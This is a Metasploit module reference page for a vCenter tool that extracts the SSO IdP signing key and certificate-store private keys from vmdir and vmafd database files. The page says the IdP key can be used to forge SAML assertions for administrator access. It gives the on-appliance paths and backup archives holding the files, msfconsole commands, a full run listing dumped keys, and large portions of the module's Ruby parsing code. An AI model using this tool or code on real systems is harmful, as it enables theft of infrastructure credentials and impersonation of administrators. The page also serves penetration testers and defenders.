VMware vCenter Extract Secrets from vmdir / vmafd DB File - Metasploit


This page contains detailed information about how to use the auxiliary/admin/vmware/vcenter_offline_mdb_extract metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: VMware vCenter Extract Secrets from vmdir / vmafd DB File
Module: auxiliary/admin/vmware/vcenter_offline_mdb_extract
Source code: modules/auxiliary/admin/vmware/vcenter_offline_mdb_extract.rb
Disclosure date: 2022-05-10
Last modification time: 2022-05-26 11:52:56 +0000
Supported architecture(s): -
Supported platform(s): Linux
Target service / protocol: -
Target network port(s): -
List of CVEs: -

Grab certificates from the vCenter server vmdird and vmafd database files and adds them to loot. The vmdird MDB database file can be found on the live appliance under the path /storage/db/vmware-vmdir/data.mdb, and the DB vmafd is under path /storage/db/vmware-vmafd/afd.db. The vmdir database contains the IdP signing credential, and vmafd contains the vCenter certificate store. This module will accept either file from a live vCenter appliance, or from a vCenter appliance backup archive; either or both files can be supplied.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Reliability:

  • repeatable-session: The module is expected to get a shell every time it runs.

Stability:

  • crash-safe: Module should not crash the service.

Side Effects:

  • artifacts-on-disk: Modules leaves a payload or a dropper on the target machine.

Basic Usage


msf > use auxiliary/admin/vmware/vcenter_offline_mdb_extract
msf auxiliary(vcenter_offline_mdb_extract) > show targets
    ... a list of targets ...
msf auxiliary(vcenter_offline_mdb_extract) > set TARGET target-id
msf auxiliary(vcenter_offline_mdb_extract) > show options
    ... show and set options ...
msf auxiliary(vcenter_offline_mdb_extract) > exploit

Knowledge Base


Grab certificates from the vCenter server vmdird or vmafd database files and adds them to loot. This module will accept files from a live vCenter appliance or from a vCenter appliance backup archive; either or both files can be supplied to the module depending on the situation. The module will extract the vCenter SSO IdP signing credential from the vmdir database, which can be used to create forged SAML assertions and access the SSO directory as an administrator. The vmafd service contains the vCenter certificate store which from which the module will attempt to extract all vmafd certificates that also have a corresponding private key. Portions of this module are based on information published by Zach Hanley at Horizon3:

https://www.horizon3.ai/compromising-vcenter-via-saml-certificates/

Vulnerable Application


This module is tested against the vCenter appliance but will probably work against Windows instances. It has been tested against files from vCenter appliance versions 6.5, 6.7, and 7.0. The module will work with files retrieved from a live vCenter system as well as files extracted from an unencrypted vCenter backup archive.

Verification Steps


You must possess the vmdir and/or vmafd database files from vCenter in order to use this module. The files must be local to the system invoking the module. Where possible, you should provide the VC_IP option to tag relevant loot entries with the IPv4 address of the originating system. If no value is provided for VC_IP the module defaults to assigning the loopback IP 127.0.0.1.

  1. Acquire the vmdir and/or vmafd database files from vCenter (see below)
  2. Start msfconsole
  3. Do: use auxiliary/admin/vmware/vcenter_offline_mdb_extract
  4. Do: set vmdir_mdb <path to data.mdb> if you are extracting from the vmdir database
  5. Do: set vmafd_db <path to afd.db> if you are extracting from the vmafd database
  6. Do: set vc_ip <vCenter IPv4> to attach the target vCenter IPv4 address to loot entries
  7. Do: dump

Options


VMDIR_MDB

Path to the vmdird MDB database file on the local system. Example: /tmp/data.mdb

VMAFD_DB

Path to the vmafd DB file on the local system. Example: /tmp/afd.db

VC_IP

Optional parameter to set the IPv4 address associated with loot entries made by the module.

Scenarios


Acquire Database Files

This module targets the internal databases of vCenter vmdir (OpenLDAP Memory-Mapped Database) and vmafd (SQLite3). On a live vCenter appliance, these files can be downloaded with root access from the following locations:

vmdir: /storage/db/vmware-vmdir/data.mdb vmafd: /storage/db/vmware-vmafd/afd.db

If you are extracting from a backup file, target files are available in the following archives:

vmdir: lotus_backup.tar.gz vmafd: config_files.tar.gz

Running the Module

Example run against database files extracted from vCenter appliance version 7.0 Update 3d:

msf6 > use auxiliary/admin/vmware/vcenter_offline_mdb_extract
msf6 auxiliary(admin/vmware/vcenter_offline_mdb_extract) > set vmdir_mdb /tmp/data.mdb
vmdir_mdb => /tmp/data.mdb
msf6 auxiliary(admin/vmware/vcenter_offline_mdb_extract) > set vmafd_db /tmp/afd.db
vmafd_db => /tmp/afd.db
msf6 auxiliary(admin/vmware/vcenter_offline_mdb_extract) > set vc_ip 192.168.100.70
vc_ip => 192.168.100.70
msf6 auxiliary(admin/vmware/vcenter_offline_mdb_extract) > dump

[*] Extracting vmwSTSTenantCredential from /tmp/data.mdb ...
[+] SSO_STS_IDP key: /home/cs137/.msf4/loot/20220512133836_default_192.168.100.70_idp_571080.key
[+] SSO_STS_IDP cert: /home/cs137/.msf4/loot/20220512133836_default_192.168.100.70_idp_564729.pem
[+] VMCA_ROOT cert: /home/cs137/.msf4/loot/20220512133836_default_192.168.100.70_vmca_721819.pem
[*] Extracting vSphere platform certificates from /tmp/afd.db ...
[+] __MACHINE_CERT key: /home/cs137/.msf4/loot/20220512133836_default_192.168.100.70___MACHINE_CERT_869237.key
[+] __MACHINE_CERT cert: /home/cs137/.msf4/loot/20220512133836_default_192.168.100.70___MACHINE_CERT_240839.pem
[+] DATA-ENCIPHERMENT key: /home/cs137/.msf4/loot/20220512133836_default_192.168.100.70_DATAENCIPHERMEN_350586.key
[+] DATA-ENCIPHERMENT cert: /home/cs137/.msf4/loot/20220512133836_default_192.168.100.70_DATAENCIPHERMEN_106169.pem
[+] HVC key: /home/cs137/.msf4/loot/20220512133836_default_192.168.100.70_HVC_825963.key
[+] HVC cert: /home/cs137/.msf4/loot/20220512133836_default_192.168.100.70_HVC_399928.pem
[+] MACHINE key: /home/cs137/.msf4/loot/20220512133836_default_192.168.100.70_MACHINE_995574.key
[+] MACHINE cert: /home/cs137/.msf4/loot/20220512133836_default_192.168.100.70_MACHINE_156797.pem
[+] SMS_SELF_SIGNED key: /home/cs137/.msf4/loot/20220512133836_default_192.168.100.70_SMS_SELF_SIGNED_169524.key
[+] SMS_SELF_SIGNED cert: /home/cs137/.msf4/loot/20220512133836_default_192.168.100.70_SMS_SELF_SIGNED_230704.pem
[+] VPXD key: /home/cs137/.msf4/loot/20220512133836_default_192.168.100.70_VPXD_370336.key
[+] VPXD cert: /home/cs137/.msf4/loot/20220512133836_default_192.168.100.70_VPXD_300599.pem
[+] VPXD-EXTENSION key: /home/cs137/.msf4/loot/20220512133836_default_192.168.100.70_VPXDEXTENSION_571196.key
[+] VPXD-EXTENSION cert: /home/cs137/.msf4/loot/20220512133836_default_192.168.100.70_VPXDEXTENSION_088742.pem
[+] VSPHERE-WEBCLIENT key: /home/cs137/.msf4/loot/20220512133836_default_192.168.100.70_VSPHEREWEBCLIEN_060718.key
[+] VSPHERE-WEBCLIENT cert: /home/cs137/.msf4/loot/20220512133836_default_192.168.100.70_VSPHEREWEBCLIEN_280013.pem
[+] WCP key: /home/cs137/.msf4/loot/20220512133836_default_192.168.100.70_WCP_057402.key
[+] WCP cert: /home/cs137/.msf4/loot/20220512133836_default_192.168.100.70_WCP_909204.pem
[*] Auxiliary module execution completed
msf6 auxiliary(admin/vmware/vcenter_offline_mdb_extract) > 

Go back to menu.

Msfconsole Usage


Here is how the admin/vmware/vcenter_offline_mdb_extract auxiliary module looks in the msfconsole:

msf6 > use auxiliary/admin/vmware/vcenter_offline_mdb_extract

msf6 auxiliary(admin/vmware/vcenter_offline_mdb_extract) > show info

       Name: VMware vCenter Extract Secrets from vmdir / vmafd DB File
     Module: auxiliary/admin/vmware/vcenter_offline_mdb_extract
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2022-05-10

Provided by:
  npm <[email protected]>

Module side effects:
 artifacts-on-disk

Module stability:
 crash-safe

Module reliability:
 repeatable-session

Available actions:
  Name  Description
  ----  -----------
  Dump  Dump secrets from vCenter files

Check supported:
  No

Basic options:
  Name       Current Setting  Required  Description
  ----       ---------------  --------  -----------
  VC_IP                       no        (Optional) IPv4 address to attach to loot
  VMAFD_DB                    no        Path to the vmafd afd.db file
  VMDIR_MDB                   no        Path to the vmdir data.mdb file

Description:
  Grab certificates from the vCenter server vmdird and vmafd database 
  files and adds them to loot. The vmdird MDB database file can be 
  found on the live appliance under the path 
  /storage/db/vmware-vmdir/data.mdb, and the DB vmafd is under path 
  /storage/db/vmware-vmafd/afd.db. The vmdir database contains the IdP 
  signing credential, and vmafd contains the vCenter certificate 
  store. This module will accept either file from a live vCenter 
  appliance, or from a vCenter appliance backup archive; either or 
  both files can be supplied.

References:
  https://www.horizon3.ai/compromising-vcenter-via-saml-certificates/

Module Options


This is a complete list of options available in the admin/vmware/vcenter_offline_mdb_extract auxiliary module:

msf6 auxiliary(admin/vmware/vcenter_offline_mdb_extract) > show options

Module options (auxiliary/admin/vmware/vcenter_offline_mdb_extract):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   VC_IP                       no        (Optional) IPv4 address to attach to loot
   VMAFD_DB                    no        Path to the vmafd afd.db file
   VMDIR_MDB                   no        Path to the vmdir data.mdb file

Auxiliary action:

   Name  Description
   ----  -----------
   Dump  Dump secrets from vCenter files

Advanced Options


Here is a complete list of advanced options supported by the admin/vmware/vcenter_offline_mdb_extract auxiliary module:

msf6 auxiliary(admin/vmware/vcenter_offline_mdb_extract) > show advanced

Module advanced options (auxiliary/admin/vmware/vcenter_offline_mdb_extract):

   Name                 Current Setting  Required  Description
   ----                 ---------------  --------  -----------
   MDB_CHUNK_SIZE       4096             yes       Block size to use when scanning MDB file
   MDB_STARTING_OFFSET  0                yes       Starting offset for MDB file binary scan
   VERBOSE              false            no        Enable detailed status messages
   WORKSPACE                             no        Specify the workspace for this module

Auxiliary Actions


This is a list of all auxiliary actions that the admin/vmware/vcenter_offline_mdb_extract module can do:

msf6 auxiliary(admin/vmware/vcenter_offline_mdb_extract) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------
   Dump  Dump secrets from vCenter files

Evasion Options


Here is the full list of possible evasion options supported by the admin/vmware/vcenter_offline_mdb_extract auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(admin/vmware/vcenter_offline_mdb_extract) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Please specify the path to at least one vCenter database file (VMDIR_MDB or VMAFD_DB)


Here is a relevant code snippet related to the "Please specify the path to at least one vCenter database file (VMDIR_MDB or VMAFD_DB)" error message:

72:	    datastore['VMAFD_DB']
73:	  end
74:	
75:	  def run
76:	    unless vmdir_file || vmafd_file
77:	      print_error('Please specify the path to at least one vCenter database file (VMDIR_MDB or VMAFD_DB)')
78:	      return
79:	    end
80:	    if vmdir_file
81:	      print_status("Extracting vmwSTSTenantCredential from #{vmdir_file} ...")
82:	      extract_idp_cert

Empty Alias list returned from CertTable


Here is a relevant code snippet related to the "Empty Alias list returned from CertTable" error message:

89:	
90:	  def extract_vmafd_certs
91:	    db = SQLite3::Database.open(vmafd_file)
92:	    db.results_as_hash = true
93:	    unless (vecs_entry_alias = db.execute('SELECT DISTINCT Alias FROM CertTable WHERE PrivateKey NOT NULL;'))
94:	      fail_with(Msf::Exploit::Failure::NoTarget, 'Empty Alias list returned from CertTable')
95:	    end
96:	    vecs_entry_alias.each do |vecs_alias|
97:	      store_label = vecs_alias['Alias'].upcase
98:	      unless (res = db.execute("SELECT PrivateKey, CertBlob FROM CertTable WHERE Alias = '#{store_label}';").first)
99:	        fail_with(Msf::Exploit::Failure::NoTarget, "Could not extract CertTable Alias '#{store_label}'")

Could not extract CertTable Alias '<STORE_LABEL>'


Here is a relevant code snippet related to the "Could not extract CertTable Alias '<STORE_LABEL>'" error message:

94:	      fail_with(Msf::Exploit::Failure::NoTarget, 'Empty Alias list returned from CertTable')
95:	    end
96:	    vecs_entry_alias.each do |vecs_alias|
97:	      store_label = vecs_alias['Alias'].upcase
98:	      unless (res = db.execute("SELECT PrivateKey, CertBlob FROM CertTable WHERE Alias = '#{store_label}';").first)
99:	        fail_with(Msf::Exploit::Failure::NoTarget, "Could not extract CertTable Alias '#{store_label}'")
100:	      end
101:	      priv_pem = res['PrivateKey'].encode('utf-8').delete("\000")
102:	      pub_pem = res['CertBlob'].encode('utf-8').delete("\000")
103:	      begin
104:	        key = OpenSSL::PKey::RSA.new(priv_pem)

Could not extract <STORE_LABEL> private key


Here is a relevant code snippet related to the "Could not extract <STORE_LABEL> private key" error message:

106:	        p = store_loot(store_label, 'PEM', loot_host, key.to_pem.to_s, "#{store_label}.key", "vCenter #{store_label} Private Key")
107:	        print_good("#{store_label} key: #{p}")
108:	        p = store_loot(store_label, 'PEM', loot_host, cert.to_pem.to_s, "#{store_label}.pem", "vCenter #{store_label} Certificate")
109:	        print_good("#{store_label} cert: #{p}")
110:	      rescue OpenSSL::PKey::PKeyError
111:	        print_error("Could not extract #{store_label} private key")
112:	      rescue OpenSSL::X509::CertificateError
113:	        print_error("Could not extract #{store_label} certificate")
114:	      end
115:	    end
116:	  rescue SQLite3::NotADatabaseException => e

Could not extract <STORE_LABEL> certificate


Here is a relevant code snippet related to the "Could not extract <STORE_LABEL> certificate" error message:

108:	        p = store_loot(store_label, 'PEM', loot_host, cert.to_pem.to_s, "#{store_label}.pem", "vCenter #{store_label} Certificate")
109:	        print_good("#{store_label} cert: #{p}")
110:	      rescue OpenSSL::PKey::PKeyError
111:	        print_error("Could not extract #{store_label} private key")
112:	      rescue OpenSSL::X509::CertificateError
113:	        print_error("Could not extract #{store_label} certificate")
114:	      end
115:	    end
116:	  rescue SQLite3::NotADatabaseException => e
117:	    fail_with(Msf::Exploit::Failure::NoTarget, "Error opening SQLite3 database '#{vmafd_file}': #{e.message}")
118:	  rescue SQLite3::SQLException => e

Error opening SQLite3 database '<VMAFD_FILE>': <E.MESSAGE>


Here is a relevant code snippet related to the "Error opening SQLite3 database '<VMAFD_FILE>': <E.MESSAGE>" error message:

112:	      rescue OpenSSL::X509::CertificateError
113:	        print_error("Could not extract #{store_label} certificate")
114:	      end
115:	    end
116:	  rescue SQLite3::NotADatabaseException => e
117:	    fail_with(Msf::Exploit::Failure::NoTarget, "Error opening SQLite3 database '#{vmafd_file}': #{e.message}")
118:	  rescue SQLite3::SQLException => e
119:	    fail_with(Msf::Exploit::Failure::NoTarget, "Error calling SQLite3: #{e.message}")
120:	  end
121:	
122:	  def extract_idp_cert

Error calling SQLite3: <E.MESSAGE>


Here is a relevant code snippet related to the "Error calling SQLite3: <E.MESSAGE>" error message:

114:	      end
115:	    end
116:	  rescue SQLite3::NotADatabaseException => e
117:	    fail_with(Msf::Exploit::Failure::NoTarget, "Error opening SQLite3 database '#{vmafd_file}': #{e.message}")
118:	  rescue SQLite3::SQLException => e
119:	    fail_with(Msf::Exploit::Failure::NoTarget, "Error calling SQLite3: #{e.message}")
120:	  end
121:	
122:	  def extract_idp_cert
123:	    sts_pem = nil
124:	    unless (bytes = read_mdb_sts_block(vmdir_file, datastore['MDB_CHUNK_SIZE'], datastore['MDB_STARTING_OFFSET']))

Invalid vmdird database '<VMDIR_FILE>': unable to locate TenantCredential-1 in binary stream


Here is a relevant code snippet related to the "Invalid vmdird database '<VMDIR_FILE>': unable to locate TenantCredential-1 in binary stream" error message:

120:	  end
121:	
122:	  def extract_idp_cert
123:	    sts_pem = nil
124:	    unless (bytes = read_mdb_sts_block(vmdir_file, datastore['MDB_CHUNK_SIZE'], datastore['MDB_STARTING_OFFSET']))
125:	      fail_with(Msf::Exploit::Failure::NoTarget, "Invalid vmdird database '#{vmdir_file}': unable to locate TenantCredential-1 in binary stream")
126:	    end
127:	    idp_key = get_sts_key(bytes)
128:	    idp_key_pem = idp_key.to_pem.to_s
129:	    get_sts_pem(bytes).each do |stscert|
130:	      idp_cert_pem = stscert.to_pem.to_s

Unable to associate IdP certificate and private key


Here is a relevant code snippet related to the "Unable to associate IdP certificate and private key" error message:

139:	        p = store_loot('vmca', 'PEM', loot_host, idp_cert_pem, 'VMCA_ROOT.pem', 'vCenter VMCA root certificate')
140:	        print_good("VMCA_ROOT cert: #{p}")
141:	      end
142:	    end
143:	    unless sts_pem # We were unable to link a public and private key together
144:	      fail_with(Msf::Exploit::Failure::NoTarget, 'Unable to associate IdP certificate and private key')
145:	    end
146:	  end
147:	
148:	  def read_mdb_sts_block(file_name, chunk_size, offset)
149:	    bytes = nil

Exception in <__METHOD__>: <E.MESSAGE>


Here is a relevant code snippet related to the "Exception in <__METHOD__>: <E.MESSAGE>" error message:

157:	      end
158:	      offset += chunk_size
159:	    end
160:	    bytes
161:	  rescue StandardError => e
162:	    fail_with(Msf::Exploit::Failure::Unknown, "Exception in #{__method__}: #{e.message}")
163:	  ensure
164:	    file.close
165:	  end
166:	
167:	  def read_der(bytes)

Malformed DER: byte length exceeds working buffer size


Here is a relevant code snippet related to the "Malformed DER: byte length exceeds working buffer size" error message:

165:	  end
166:	
167:	  def read_der(bytes)
168:	    der_len = (bytes[2..3].unpack('H*').first.to_i(16) + 4).to_i
169:	    unless der_len <= bytes.length - 1
170:	      fail_with(Msf::Exploit::Failure::Unknown, 'Malformed DER: byte length exceeds working buffer size')
171:	    end
172:	    bytes[0..der_len - 1]
173:	  end
174:	
175:	  def get_sts_key(bytes)

Failure during extract of PKCS#1 RSA private key


Here is a relevant code snippet related to the "Failure during extract of PKCS#1 RSA private key" error message:

180:	    key_pem = "-----BEGIN PRIVATE KEY-----\n#{key_b64}\n-----END PRIVATE KEY-----"
181:	    vprint_status("key_pem:\n#{key_pem}")
182:	    OpenSSL::PKey::RSA.new(key_pem)
183:	  rescue OpenSSL::PKey::PKeyError
184:	    # fail_with(Msf::Exploit::Failure::NoTarget, 'Failure during extract of PKCS#1 RSA private key')
185:	    print_error('Failure during extract of PKCS#1 RSA private key')
186:	  end
187:	
188:	  def get_sts_pem(bytes)
189:	    idp_certs = []
190:	    working_offset = bytes.unpack('H*').first.index(/3082[0-9a-f]{4}3082/) / 2 # x509v3 magic bytes

Failure during extract of x509v3 certificate


Here is a relevant code snippet related to the "Failure during extract of x509v3 certificate" error message:

199:	      next_offset = working_offset + der_bytes.length + offset - 1
200:	      working_offset = next_offset
201:	      byte_len = bytes.length - working_offset
202:	      working_bytes = bytes[working_offset, byte_len]
203:	    end
204:	    idp_certs
205:	  rescue OpenSSL::X509::CertificateError
206:	    # fail_with(Msf::Exploit::Failure::NoTarget, 'Failure during extract of x509v3 certificate')
207:	    print_error('Failure during extract of x509v3 certificate')
208:	  end
209:	end

Go back to menu.


References


See Also


Check also the following modules related to this module:

Authors


npm[at]cesium137.io

Version


This page has been produced using Metasploit Framework version 6.2.26-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.